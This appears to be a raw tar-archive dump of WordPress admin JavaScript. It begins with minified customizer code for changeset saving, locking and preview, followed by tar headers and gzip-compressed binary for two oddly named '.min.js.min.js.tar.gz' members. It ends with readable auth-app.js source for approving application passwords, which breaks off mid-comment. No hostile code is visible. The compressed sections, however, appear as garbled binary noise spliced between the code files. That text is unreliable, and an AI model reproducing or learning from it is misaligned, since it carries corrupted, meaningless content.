Y.Notification("unknown_error",_.extend(n,{message:Y.l10n.unknownRequestFail})),t&&Y.notifications.add(t),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.rejectWith(a,[e]),Y.trigger("error",e),"changeset_already_published"===e.code&&e.next_changeset_uuid&&(Y.settings.changeset.uuid=e.next_changeset_uuid,Y.state("changesetStatus").set(""),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y.previewer.send("changeset-uuid",Y.settings.changeset.uuid))}),e.done(function(e){a.send("saved",e),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),"publish"===e.changeset_status&&(Y.each(function(e){e._dirty&&(_.isUndefined(Y._latestSettingRevisions[e.id])||Y._latestSettingRevisions[e.id]<=t)&&(e._dirty=!1)}),Y.state("changesetStatus").set(""),Y.settings.changeset.uuid=e.next_changeset_uuid,Y.settings.changeset.branching)&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y._lastSavedRevision=Math.max(t,Y._lastSavedRevision),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.resolveWith(a,[e]),Y.trigger("saved",e),_.isEmpty(c)||Y.state("saved").set(!1)})},0===n()?t():(e=function(){0===n()&&(Y.state.unbind("change",e),t())},Y.state.bind("change",e)),o.promise()},trash:function(){var e,n,i;Y.state("trashing").set(!0),Y.state("processing").set(Y.state("processing").get()+1),e=wp.ajax.post("customize_trash",{customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.trash}),Y.notifications.add(new Y.OverlayNotification("changeset_trashing",{type:"info",message:Y.l10n.revertingChanges,loading:!0})),n=function(){var e,t=document.createElement("a");Y.state("changesetStatus").set("trash"),Y.each(function(e){e._dirty=!1}),Y.state("saved").set(!0),t.href=location.href,delete(e=Y.utils.parseQueryString(t.search.substr(1))).changeset_uuid,e.return=Y.settings.url.return,t.search=J.param(e),location.replace(t.href)},i=function(e,t){e=e||"unknown_error";Y.state("processing").set(Y.state("processing").get()-1),Y.state("trashing").set(!1),Y.notifications.remove("changeset_trashing"),Y.notifications.add(new Y.Notification(e,{message:t||Y.l10n.unknownError,dismissible:!0,type:"error"}))},e.done(function(e){n(e.message)}),e.fail(function(e){var t=e.code||"trashing_failed";e.success||"non_existent_changeset"===t||"changeset_already_trashed"===t?n(e.message):i(t,e.message)})},getFrontendPreviewUrl:function(){var e,t=document.createElement("a");return t.href=this.previewUrl.get(),e=Y.utils.parseQueryString(t.search.substr(1)),Y.state("changesetStatus").get()&&"publish"!==Y.state("changesetStatus").get()&&(e.customize_changeset_uuid=Y.settings.changeset.uuid),Y.state("activated").get()||(e.customize_theme=Y.settings.theme.stylesheet),t.search=J.param(e),t.href}}),J.ajaxPrefilter(function(e){/wp_customize=on/.test(e.data)&&(e.data+="&"+J.param({customize_preview_nonce:Y.settings.nonce.preview}))}),Y.previewer.bind("nonce",function(e){J.extend(this.nonce,e)}),Y.bind("nonce-refresh",function(e){J.extend(Y.settings.nonce,e),J.extend(Y.previewer.nonce,e),Y.previewer.send("nonce-refresh",e)}),J.each(Y.settings.settings,function(e,t){var n=Y.settingConstructor[t.type]||Y.Setting;Y.add(new n(e,t.value,{transport:t.transport,previewer:Y.previewer,dirty:!!t.dirty}))}),J.each(Y.settings.panels,function(e,t){var n=Y.panelConstructor[t.type]||Y.Panel,t=_.extend({params:t},t);Y.panel.add(new n(e,t))}),J.each(Y.settings.sections,function(e,t){var n=Y.sectionConstructor[t.type]||Y.Section,t=_.extend({params:t},t);Y.section.add(new n(e,t))}),J.each(Y.settings.controls,function(e,t){var n=Y.controlConstructor[t.type]||Y.Control,t=_.extend({params:t},t);Y.control.add(new n(e,t))}),_.each(["panel","section","control"],function(e){var t=Y.settings.autofocus[e];t&&Y[e](t,function(e){e.deferred.embedded.done(function(){Y.previewer.deferred.active.done(function(){e.focus()})})})}),Y.bind("ready",Y.reflowPaneContents),J([Y.panel,Y.section,Y.control]).each(function(e,t){var n=_.debounce(Y.reflowPaneContents,Y.settings.timeouts.reflowPaneContents);t.bind("add",n),t.bind("change",n),t.bind("remove",n)}),Y.bind("ready",function(){var e,t,n;Y.notifications.container=J("#customize-notifications-area"),Y.notifications.bind("change",_.debounce(function(){Y.notifications.render()})),e=J(".wp-full-overlay-sidebar-content"),Y.notifications.bind("rendered",function(){e.css("top",""),0!==Y.notifications.count()&&(t=Y.notifications.container.outerHeight()+1,n=parseInt(e.css("top"),10),e.css("top",n+t+"px")),Y.notifications.trigger("sidebarTopUpdated")}),Y.notifications.render()}),s=Y.state,c=s.instance("saved"),l=s.instance("saving"),f=s.instance("trashing"),m=s.instance("activated"),e=s.instance("processing"),I=s.instance("paneVisible"),H=s.instance("expandedPanel"),L=s.instance("expandedSection"),g=s.instance("changesetStatus"),v=s.instance("selectedChangesetStatus"),w=s.instance("changesetDate"),b=s.instance("selectedChangesetDate"),M=s.instance("previewerAlive"),O=s.instance("editShortcutVisibility"),C=s.instance("changesetLocked"),s.bind("change",function(){var e;m()?""===g.get()&&c()?(Y.settings.changeset.currentUserCanPublish?d.val(Y.l10n.published):d.val(Y.l10n.saved),i.find(".screen-reader-text").text(Y.l10n.close)):("draft"===v()?c()&&v()===g()?d.val(Y.l10n.draftSaved):d.val(Y.l10n.saveDraft):"future"===v()?!c()||v()!==g()||w.get()!==b.get()?d.val(Y.l10n.schedule):d.val(Y.l10n.scheduled):Y.settings.changeset.currentUserCanPublish&&d.val(Y.l10n.publish),i.find(".screen-reader-text").text(Y.l10n.cancel)):(d.val(Y.l10n.activate),i.find(".screen-reader-text").text(Y.l10n.cancel)),e=!l()&&!f()&&!C()&&(!m()||!c()||g()!==v()&&""!==g()||"future"===v()&&w.get()!==b.get()),d.prop("disabled",!e)}),v.validate=function(e){return""===e||"auto-draft"===e?null:e},S=Y.settings.changeset.currentUserCanPublish?"publish":"draft",g(Y.settings.changeset.status),C(Boolean(Y.settings.changeset.lockUser)),w(Y.settings.changeset.publishDate),b(Y.settings.changeset.publishDate),v(""===Y.settings.changeset.status||"auto-draft"===Y.settings.changeset.status?S:Y.settings.changeset.status),v.link(g),c(!0),""===g()&&Y.each(function(e){e._dirty&&c(!1)}),l(!1),m(Y.settings.theme.active),e(0),I(!0),H(!1),L(!1),M(!0),O("visible"),Y.bind("change",function(){s("saved").get()&&s("saved").set(!1)}),Y.settings.changeset.branching&&c.bind(function(e){e||r(!0)}),l.bind(function(e){o.toggleClass("saving",e)}),f.bind(function(e){o.toggleClass("trashing",e)}),Y.bind("saved",function(e){s("saved").set(!0),"publish"===e.changeset_status&&s("activated").set(!0)}),m.bind(function(e){e&&Y.trigger("activated")}),r=function(e){var t,n;if(history.replaceState){if((t=document.createElement("a")).href=location.href,n=Y.utils.parseQueryString(t.search.substr(1)),e){if(n.changeset_uuid===Y.settings.changeset.uuid)return;n.changeset_uuid=Y.settings.changeset.uuid}else{if(!n.changeset_uuid)return;delete n.changeset_uuid}t.search=J.param(n),history.replaceState({},document.title,t.href)}},Y.settings.changeset.branching&&g.bind(function(e){r(""!==e&&"publish"!==e&&"trash"!==e)}),j=Y.OverlayNotification.extend({templateId:"customize-changeset-locked-notification",lockUser:null,initialize:function(e,t){e=e||"changeset_locked",t=_.extend({message:"",type:"warning",containerClasses:"",lockUser:{}},t);t.containerClasses+=" notification-changeset-locked",Y.OverlayNotification.prototype.initialize.call(this,e,t)},render:function(){var t,n,i=this,e=_.extend({allowOverride:!1,returnUrl:Y.settings.url.return,previewUrl:Y.previewer.previewUrl.get(),frontendPreviewUrl:Y.previewer.getFrontendPreviewUrl()},this),a=Y.OverlayNotification.prototype.render.call(e);return Y.requestChangesetUpdate({},{autosave:!0}).fail(function(e){e.autosaved||a.find(".notice-error").prop("hidden",!1).text(e.message||Y.l10n.unknownRequestFail)}),(t=a.find(".customize-notice-take-over-button")).on("click",function(e){e.preventDefault(),n||(t.addClass("disabled"),(n=wp.ajax.post("customize_override_changeset_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.override_lock})).done(function(){Y.notifications.remove(i.code),Y.state("changesetLocked").set(!1)}),n.fail(function(e){e=e.message||Y.l10n.unknownRequestFail;a.find(".notice-error").prop("hidden",!1).text(e),n.always(function(){t.removeClass("disabled")})}),n.always(function(){n=null}))}),a}}),Y.settings.changeset.lockUser&&F({allowOverride:!0}),J(document).on("heartbeat-send.update_lock_notice",function(e,t){t.check_changeset_lock=!0,t.changeset_uuid=Y.settings.changeset.uuid}),J(document).on("heartbeat-tick.update_lock_notice",function(e,t){var n,i="changeset_locked";t.customize_changeset_lock_user&&((n=Y.notifications(i))&&n.lockUser.id!==Y.settings.changeset.lockUser.id&&Y.notifications.remove(i),F({lockUser:t.customize_changeset_lock_user}))}),Y.bind("error",function(e){"changeset_locked"===e.code&&e.lock_user&&F({lockUser:e.lock_user})}),T=!(S=[]),Y.settings.changeset.autosaved&&(Y.state("saved").set(!1),S.push("customize_autosaved")),Y.settings.changeset.branching||Y.settings.changeset.status&&"auto-draft"!==Y.settings.changeset.status||S.push("changeset_uuid"),0<S.length&&(S=S,e=document.createElement("a"),x=0,e.href=location.href,y=Y.utils.parseQueryString(e.search.substr(1)),_.each(S,function(e){void 0!==y[e]&&(x+=1,delete y[e])}),0!==x)&&(e.search=J.param(y),history.replaceState({},document.title,e.href)),(Y.settings.changeset.latestAutoDraftUuid||Y.settings.changeset.hasAutosaveRevision)&&(z="autosave_available",Y.notifications.add(new Y.Notification(z,{message:Y.l10n.autosaveNotice,type:"warning",dismissible:!0,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("a");return t.prop("href",q()),t.on("click",function(e){e.preventDefault(),location.replace(q())}),e.find(".notice-dismiss").on("click",Q),e}})),Y.bind("change",k=function(){Q(),Y.notifications.remove(z),Y.unbind("change",k),Y.state("changesetStatus").unbind(k)}),Y.state("changesetStatus").bind(k)),parseInt(J("#customize-info").data("block-theme"),10)&&(S=Y.l10n.blockThemeNotification,Y.notifications.add(new Y.Notification("site_editor_block_theme_notice",{message:S,type:"info",dismissible:!1,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("button.switch-to-editor");return t.on("click",function(e){e.preventDefault(),location.assign(t.data("action"))}),e}}))),Y.previewer.previewUrl()?Y.previewer.refresh():Y.previewer.previewUrl(Y.settings.url.home),d.on("click",function(e){Y.previewer.save(),e.preventDefault()}).on("keydown",function(e){9!==e.which&&(13===e.which&&Y.previewer.save(),e.preventDefault())}),i.on("keydown",function(e){9!==e.which&&(13===e.which&&this.click(),e.preventDefault())}),J(".collapse-sidebar").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),Y.state("paneVisible").bind(function(e){t.toggleClass("preview-only",!e),t.toggleClass("expanded",e),t.toggleClass("collapsed",!e),e?J(".collapse-sidebar").attr({"aria-expanded":"true","aria-label":Y.l10n.collapseSidebar}):J(".collapse-sidebar").attr({"aria-expanded":"false","aria-label":Y.l10n.expandSidebar})}),o.on("keydown",function(e){var t,n=[],i=[],a=[];27===e.which&&(J(e.target).is("body")||J.contains(J("#customize-controls")[0],e.target))&&null===e.target.closest(".block-editor-writing-flow")&&null===e.target.closest(".block-editor-block-list__block-popover")&&(Y.control.each(function(e){e.expanded&&e.expanded()&&_.isFunction(e.collapse)&&n.push(e)}),Y.section.each(function(e){e.expanded()&&i.push(e)}),Y.panel.each(function(e){e.expanded()&&a.push(e)}),0<n.length&&0===i.length&&(n.length=0),t=n[0]||i[0]||a[0])&&("themes"===t.params.type?o.hasClass("modal-open")?t.closeDetails():Y.panel.has("themes")&&Y.panel("themes").collapse():(t.collapse(),e.preventDefault()))}),J(".customize-controls-preview-toggle").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),P=J(".wp-full-overlay-sidebar-content"),I=function(e){var t=Y.state("expandedSection").get(),n=Y.state("expandedPanel").get();if(D&&D.element&&(R(D.element),D.element.find(".description").off("toggled",E)),!e)if(!t&&n&&n.contentContainer)e=n;else{if(n||!t||!t.contentContainer)return void(D=!1);e=t}(n=e.contentContainer.find(".customize-section-title, .panel-meta").first()).length?((D={instance:e,element:n,parent:n.closest(".customize-pane-child"),height:n.outerHeight()}).element.find(".description").on("toggled",E),t&&B(D.element,D.parent)):D=!1},Y.state("expandedSection").bind(I),Y.state("expandedPanel").bind(I),P.on("scroll",_.throttle(function(){var e,t;D&&(e=P.scrollTop(),t=N?e===N?0:N<e?1:-1:1,N=e,0!==t)&&W(D,e,t)},8)),Y.notifications.bind("sidebarTopUpdated",function(){D&&D.element.hasClass("is-sticky")&&D.element.css("top",P.css("top"))}),R=function(e){e.hasClass("is-sticky")&&e.removeClass("is-sticky").addClass("maybe-sticky is-in-view").css("top",P.scrollTop()+"px")},B=function(e,t){e.hasClass("is-in-view")&&(e.removeClass("maybe-sticky is-in-view").css({width:"",top:""}),t.css("padding-top",""))},E=function(){D.height=D.element.outerHeight()},W=function(e,t,n){var i=e.element,a=e.parent,e=e.height,o=parseInt(i.css("top"),10),s=i.hasClass("maybe-sticky"),r=i.hasClass("is-sticky"),c=i.hasClass("is-in-view");if(-1===n){if(!s&&e<=t)s=!0,i.addClass("maybe-sticky");else if(0===t)return i.removeClass("maybe-sticky is-in-view is-sticky").css({top:"",width:""}),void a.css("padding-top","");c&&!r?t<=o&&i.addClass("is-sticky").css({top:P.css("top"),width:a.outerWidth()+"px"}):s&&!c&&(i.addClass("is-in-view").css("top",t-e+"px"),a.css("padding-top",e+"px"))}else r&&(o=t,i.removeClass("is-sticky").css({top:o+"px",width:""})),c&&o+e<t&&(i.removeClass("is-in-view"),a.css("padding-top",""))},Y.previewedDevice=Y.state("previewedDevice"),Y.bind("ready",function(){_.find(Y.settings.previewableDevices,function(e,t){if(!0===e.default)return Y.previewedDevice.set(t),!0})}),a.find(".devices button").on("click",function(e){Y.previewedDevice.set(J(e.currentTarget).data("device"))}),Y.previewedDevice.bind(function(e){var t=J(".wp-full-overlay"),n="";a.find(".devices button").removeClass("active").attr("aria-pressed",!1),a.find(".devices .preview-"+e).addClass("active").attr("aria-pressed",!0),J.each(Y.settings.previewableDevices,function(e){n+=" preview-"+e}),t.removeClass(n).addClass("preview-"+e)}),n.length&&Y("blogname",function(t){function e(){var e=t()||"";n.text(e.toString().trim()||Y.l10n.untitledBlogName)}t.bind(e),e()}),h=new Y.Messenger({url:Y.settings.url.parent,channel:"loader"}),U=!1,h.bind("back",function(){U=!0}),Y.bind("change",V),Y.state("selectedChangesetStatus").bind(V),Y.state("selectedChangesetDate").bind(V),h.bind("confirm-close",function(){$().done(function(){h.send("confirmed-close",!0)}).fail(function(){h.send("confirmed-close",!1)})}),i.on("click.customize-controls-close",function(e){e.preventDefault(),U?h.send("close"):$().done(function(){J(window).off("beforeunload.customize-confirm"),window.location.href=i.prop("href")})}),J.each(["saved","change"],function(e,t){Y.bind(t,function(){h.send(t)})}),Y.bind("title",function(e){h.send("title",e)}),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),h.send("ready"),J.each({background_image:{controls:["background_preset","background_position","background_size","background_repeat","background_attachment"],callback:function(e){return!!e}},show_on_front:{controls:["page_on_front","page_for_posts"],callback:function(e){return"page"===e}},header_textcolor:{controls:["header_textcolor"],callback:function(e){return"blank"!==e}}},function(e,i){Y(e,function(n){J.each(i.controls,function(e,t){Y.control(t,function(t){function e(e){t.container.toggle(i.callback(e))}e(n.get()),n.bind(e)})})})}),Y.control("background_preset",function(e){var i={default:[!1,!1,!1,!1],fill:[!0,!1,!1,!1],fit:[!0,!1,!0,!1],repeat:[!0,!1,!1,!0],custom:[!0,!0,!0,!0]},a={default:[_wpCustomizeBackground.defaults["default-position-x"],_wpCustomizeBackground.defaults["default-position-y"],_wpCustomizeBackground.defaults["default-size"],_wpCustomizeBackground.defaults["default-repeat"],_wpCustomizeBackground.defaults["default-attachment"]],fill:["left","top","cover","no-repeat","fixed"],fit:["left","top","contain","no-repeat","fixed"],repeat:["left","top","auto","repeat","scroll"]},t=function(n){_.each(["background_position","background_size","background_repeat","background_attachment"],function(e,t){e=Y.control(e);e&&e.container.toggle(i[n][t])})},n=function(n){_.each(["background_position_x","background_position_y","background_size","background_repeat","background_attachment"],function(e,t){e=Y(e);e&&e.set(a[n][t])})},o=e.setting.get();t(o),e.setting.bind("change",function(e){t(e),"custom"!==e&&n(e)})}),Y.control("background_repeat",function(t){t.elements[0].unsync(Y("background_repeat")),t.element=new Y.Element(t.container.find("input")),t.element.set("no-repeat"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"repeat":"no-repeat")}),t.setting.bind(function(e){t.element.set("no-repeat"!==e)})}),Y.control("background_attachment",function(t){t.elements[0].unsync(Y("background_attachment")),t.element=new Y.Element(t.container.find("input")),t.element.set("fixed"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"scroll":"fixed")}),t.setting.bind(function(e){t.element.set("fixed"!==e)})}),Y.control("display_header_text",function(t){var n="";t.elements[0].unsync(Y("header_textcolor")),t.element=new Y.Element(t.container.find("input")),t.element.set("blank"!==t.setting()),t.element.bind(function(e){e||(n=Y("header_textcolor").get()),t.setting.set(e?n:"blank")}),t.setting.bind(function(e){t.element.set("blank"!==e)})}),Y("show_on_front","page_on_front","page_for_posts",function(i,a,o){function e(){var e="show_on_front_page_collision",t=parseInt(a(),10),n=parseInt(o(),10);"page"===i()&&(this===a&&0<t&&Y.previewer.previewUrl.set(Y.settings.url.home),this===o)&&0<n&&Y.previewer.previewUrl.set(Y.settings.url.home+"?page_id="+n),"page"===i()&&t&&n&&t===n?i.notifications.add(new Y.Notification(e,{type:"error",message:Y.l10n.pageOnFrontError})):i.notifications.remove(e)}i.bind(e),a.bind(e),o.bind(e),e.call(i,i()),Y.control("show_on_front",function(e){e.deferred.embedded.done(function(){e.container.append(e.getNotificationsContainerElement())})})}),A=J.Deferred(),Y.section("custom_css",function(t){t.deferred.embedded.done(function(){t.expanded()?A.resolve(t):t.expanded.bind(function(e){e&&A.resolve(t)})})}),A.done(function(e){var t=Y.control("custom_css");t.container.find(".customize-control-title:first").addClass("screen-reader-text"),e.container.find(".section-description-buttons .section-description-close").on("click",function(){e.container.find(".section-meta .customize-section-description:first").removeClass("open").slideUp(),e.container.find(".customize-help-toggle").attr("aria-expanded","false").focus()}),t&&!t.setting.get()&&(e.container.find(".section-meta .customize-section-description:first").addClass("open").show().trigger("toggled"),e.container.find(".customize-help-toggle").attr("aria-expanded","true"))}),Y.control("header_video",function(n){n.deferred.embedded.done(function(){function e(){var e=Y.section(n.section()),t="video_header_not_available";e&&(n.active.get()?e.notifications.remove(t):e.notifications.add(new Y.Notification(t,{type:"info",message:Y.l10n.videoHeaderNotice})))}e(),n.active.bind(e)})}),Y.previewer.bind("selective-refresh-setting-validities",function(e){Y._handleSettingValidities({settingValidities:e,focusInvalidControl:!1})}),Y.previewer.bind("focus-control-for-setting",function(n){var i=[];Y.control.each(function(e){var t=_.pluck(e.settings,"id");-1!==_.indexOf(t,n)&&i.push(e)}),i.length&&(i.sort(function(e,t){return e.priority()-t.priority()}),i[0].focus())}),Y.previewer.bind("refresh",function(){Y.previewer.refresh()}),Y.state("paneVisible").bind(function(e){var t=window.matchMedia?window.matchMedia("screen and ( max-width: 640px )").matches:J(window).width()<=640;Y.state("editShortcutVisibility").set(e||t?"visible":"hidden")}),window.matchMedia&&window.matchMedia("screen and ( max-width: 640px )").addListener(function(){var e=Y.state("paneVisible");e.callbacks.fireWith(e,[e.get(),e.get()])}),Y.previewer.bind("edit-shortcut-visibility",function(e){Y.state("editShortcutVisibility").set(e)}),Y.state("editShortcutVisibility").bind(function(e){Y.previewer.send("edit-shortcut-visibility",e)}),Y.bind("change",function e(){var t,n,i,a=!1;function o(e){e||Y.settings.changeset.autosaved||(Y.settings.changeset.autosaved=!0,Y.previewer.send("autosaving"))}Y.unbind("change",e),Y.state("saved").bind(o),o(Y.state("saved").get()),n=function(){a||(a=!0,Y.requestChangesetUpdate({},{autosave:!0}).always(function(){a=!1})),i()},(i=function(){clearTimeout(t),t=setTimeout(function(){n()},Y.settings.timeouts.changesetAutoSave)})(),J(document).on("visibilitychange.wp-customize-changeset-update",function(){document.hidden&&n()}),J(window).on("beforeunload.wp-customize-changeset-update",function(){n()})}),J(document).one("tinymce-editor-setup",function(){window.tinymce.ui.FloatPanel&&(!window.tinymce.ui.FloatPanel.zIndex||window.tinymce.ui.FloatPanel.zIndex<500001)&&(window.tinymce.ui.FloatPanel.zIndex=500001)}),o.addClass("ready"),Y.trigger("ready"))})}((wp,jQuery));dashboard.min.js.min.js.tar.gz000064400000006152150276633110012224 0ustar00��Zks����
�e�Z@�{҈ƍ�6���g2��ᬀ��2�@�Q���sw�@�M'I?�1�ݻ��:{.�Y1NJi�P�i%��Zו�ⴘ/ʈgs���q���U�!>�_|�5�����z�����G_
<>>|��h�7���������-�?���xogR{S���6Et&����w����b/�d}w}}�b��d^+i��/�2�7<��eG����2��*5�P��.x���_.D��"*��2�Z�I�1��Lf��&Y�#�+��6?�u��+n{F~]f�'ڞ�]H-Os1���P�uv�i����A�
WL�3��͑.���dB��ᡈ˪(?���ȨIŕ�bG��>��P����iͤ�K
�L�1���\�|�U��d�gb���!6ȳlwQ��칳}v0��L�.^��gg��j� ��fZ��|2
h�&H�U?��L���� 3)+9����|S�uG��h�=f\H)V���̑�e�"�JC�Q�y�;���;c�<��qUĹPgfvx���K^����歜��6��!hdwG���d�O�Ї�7�;:,9R�X੹c��}�+A��ϊ���j��-1m
�)9�R�|�c*�SD��Õ8	D"�L%�L4<H
�<�*���:�@�"X�t,x::�0�xsR��BS�M�����z^��zV,F=slb��5�
%��M:7x�
&o�J�z�3>���{�9*i/��\O��6�̲��g�GE�! y����#�\�0�م��w��,�t�����L�V�,��\�|֨�ݕR������T%q0kbnL�������$����ET�����x��MvB�����nZtK%N,M�X~;^�x`}g��չ�K��66�r��gUQ+��9�NO�#_���18����n�`SZ�egg��i�]6Z�Ɵ~?�St�)��XvQM:E�a�>ì���rRmM�(��B<Ϥ)��Oe~>�� >�}�޼*2qx������PdK���R>�=�z)�$�ݮ��##.A���
F�Y���F�n���㿹:�2C�z���I��Lȳ�G�Îp�
���+xB�h��2_���9��2�����ݹT"rs��m)|����1�|-�4�ɵv�r15�R/��#Sm-ش�cwES��2o���L��蒃Č|�L��x��]t8��?��?D���G.�&��0[)<BQ�e:��Ll�e:��=���.�Cy�T�cM�%>�C3�0:OHM�{`յ�_W=7��i^,":爳�$I"�������2�O�	�3�֜�Y�q �G~y�=��$rhυ�p�e���:R��X����l�q�(�b�57e�.N�+��yR��c2cu�f:Y�1Q[��w�?*6_7*r�2j��¡�s�LY�n�LX�y�d���^rՠ-!�x��T��zF��c��8C$�M�f����Cs����**�hs��\�Z�雪��Q�HN�s��0֞��K9����H��A�ʆ�ld_�����޳�=�n�6X�-0��ḇ' ��<�y%�j���=_���*NA��&nE6-nٓT���\oż$4RȬq:�.~�j6�b7�3���n���l�A����0��p�����$Df��[���+(CE��!�tL\�ʨn;��P$~Ej1`�Cpt�\�!�>�_��Lv�ʽf7�A/��ލ5S��W�ݿ�f�p�:
6���Y�L��T�2�qY��18���a<Y���N���NP��q���2�I�>

�i/,�	��/D�ڢ��TB�?1������`;!���a�r��Z����2
��jGx}�o�������ۦ��9�j����1;i76�\�t��x�-"�;[q�>��R�b�F�da��"��f�`��1�:�=��``�)=z���%F���l��v��S��<�$8��e4Ǒ���{����&�cܢ^R™��|�T�}���)�L��l�L�!J�susv�a���h��7*Ҵ�*������,R�q�N�,�g�]��k͉�ۜ,�,O�X*���<���S���)�Xu@A2��n޵� �Lt7��D(��yG���"jW����J�7��ݧ�=8����K�&#�pԱY&tZI�S'�Jn׈[�66 3Rrt�]��hvB�9.�&���P�s�`��{�5�!�]L�ձem}��PT�?�u0�����{x�M��a{���������`����82��&����H���De�{��R,{8&=qɱi1�ƕ��#u��T�M	��19؁�IGm�8{m�)oh�ڴ9�6tl�Lp�<+浠����+(�lk;x�6���
%(�V����Xcz����qk�&��_	[B6qoa�}��T&��A��|��l7!�?������:�I�W-���߆	�C`�;�b�O�.�(@�����{zg�E`o�}�-�KJ�q%L])/u���$��y�P�`(�71}+4��rB���2���j�nB0�ƿhۈ��2	s]��E/Uw��D#n�Ўk����ST�Қt[�n�mJ�7 [�{
�����n0�E!3o`�ߙ-�e)�v��ө��e���6�f����Xx�"l�y3c��R�7��ڝ���յ���`W�~���cE�Y�f�D��[���!~T{p�wޏLh?=�j�[�#_q3��<S�Bኒ�ްՁ��WoQ�9J�OO^aG{e%����đ:~|i��
�-�����(�bμW�9�~�E7��h��;�=��}x'c�ݯ�d��w<'�AD[	�=�r�p	�S4�R"<H�ͣ	O��$m�m��t}_@�mʩ�y���s�C��>�������O=�K�8[��(����O���
B�n�p���8���~�
c�
y�Q�Ľc
�Q�_���sbsTe�t�[&�{>#'�=2s�O�פ�jn�U��t�;�8�-�dm���� �0iÄ���dcҒ�Iii�4fbi�8�?�����ؿǐ)uZ5�ro�zb��4Ϸ�}Ɩ�Xh��hm_�u���8�c3�Q�8�~�?n�|}�>_������? Ɨ*language-chooser.min.js.min.js.tar.gz000064400000000567150276633110013524 0ustar00��R�j1�w�⚂��̩�ZP��'(�bn���6��Ծ{��
�R�R�Bf7�I��6��: `�� ��J�l�?���l4�K��U��Um�'�K�9�a\���}gx7���bT��
oE28���$B�"�]'O���BHh�1�~N(�^~�|��6|Qm�c���.�rv�
�f��+�Ac�ʔ��-7,������4���� ��U���U��	d��f`�����@�Z��5�U[�x0��9�J!Cp�zM�	�RI�}e��w];C,}��a+���F��/u:)Yƴ�v�<�'�b���L��D��Fl_.T�#k�\6,�o��hN;&\p�?����auth-app.js000064400000013244150276633110006631 0ustar00/**
 * @output wp-admin/js/auth-app.js
 */

/* global authApp */

( function( $, authApp ) {
	var $appNameField = $( '#app_name' ),
		$approveBtn = $( '#approve' ),
		$rejectBtn = $( '#reject' ),
		$form = $appNameField.closest( 'form' ),
		context = {
			userLogin: authApp.user_login,
			successUrl: authApp.success,
			rejectUrl: authApp.reject
		};

	$approveBtn.on( 'click', function( e ) {
		var name = $appNameField.val(),
			appId = $( 'input[name="app_id"]', $form ).val();

		e.preventDefault();

		if ( $approveBtn.prop( 'aria-disabled' ) ) {
			return;
		}

		if ( 0 === name.length ) {
			$appNameField.trigger( 'focus' );
			return;
		}

		$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		if ( appId.length > 0 ) {
			request.app_id = appId;
		}

		/**
		 * Filters the request data used to Authorize an Application Password request.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request            The request data.
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );

		wp.apiRequest( {
			path: '/wp/v2/users/me/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).done( function( response, textStatus, jqXHR ) {

			/**
			 * Fires when an Authorize Application Password request has been successfully approved.
			 *
			 * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
			 * action to ensure that both the JS and no-JS variants are handled.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response          The response from the REST API.
			 * @param {string} response.password The newly created password.
			 * @param {string} textStatus        The status of the request.
			 * @param {jqXHR}  jqXHR             The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );

			var raw = authApp.success,
				url, message, $notice;

			if ( raw ) {
				url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
					'site_url=' + encodeURIComponent( authApp.site_url ) +
					'&user_login=' + encodeURIComponent( authApp.user_login ) +
					'&password=' + encodeURIComponent( response.password );

				window.location = url;
			} else {
				message = wp.i18n.sprintf(
					/* translators: %s: Application name. */
					'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
					'<strong></strong>'
				) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
				$notice = $( '<div></div>' )
					.attr( 'role', 'alert' )
					.attr( 'tabindex', -1 )
					.addClass( 'notice notice-success notice-alt' )
					.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
					.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );

				// We're using .text() to write the variables to avoid any chance of XSS.
				$( 'strong', $notice ).text( response.name );
				$( 'input', $notice ).val( response.password );

				$form.replaceWith( $notice );
				$notice.trigger( 'focus' );
			}
		} ).fail( function( jqXHR, textStatus, errorThrown ) {
			var errorMessage = errorThrown,
				error = null;

			if ( jqXHR.responseJSON ) {
				error = jqXHR.responseJSON;

				if ( error.message ) {
					errorMessage = error.message;
				}
			}

			var $notice = $( '<div></div>' )
				.attr( 'role', 'alert' )
				.addClass( 'notice notice-error' )
				.append( $( '<p></p>' ).text( errorMessage ) );

			$( 'h1' ).after( $notice );

			$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );

			/**
			 * Fires when an Authorize Application Password request encountered an error when trying to approve the request.
			 *
			 * @since 5.6.0
			 * @since 5.6.1 Corrected action name and signature.
			 *
			 * @param {Object|null} error       The error from the REST API. May be null if the server did not send proper JSON.
			 * @param {string}      textStatus  The status of the request.
			 * @param {string}      errorThrown The error message associated with the response status code.
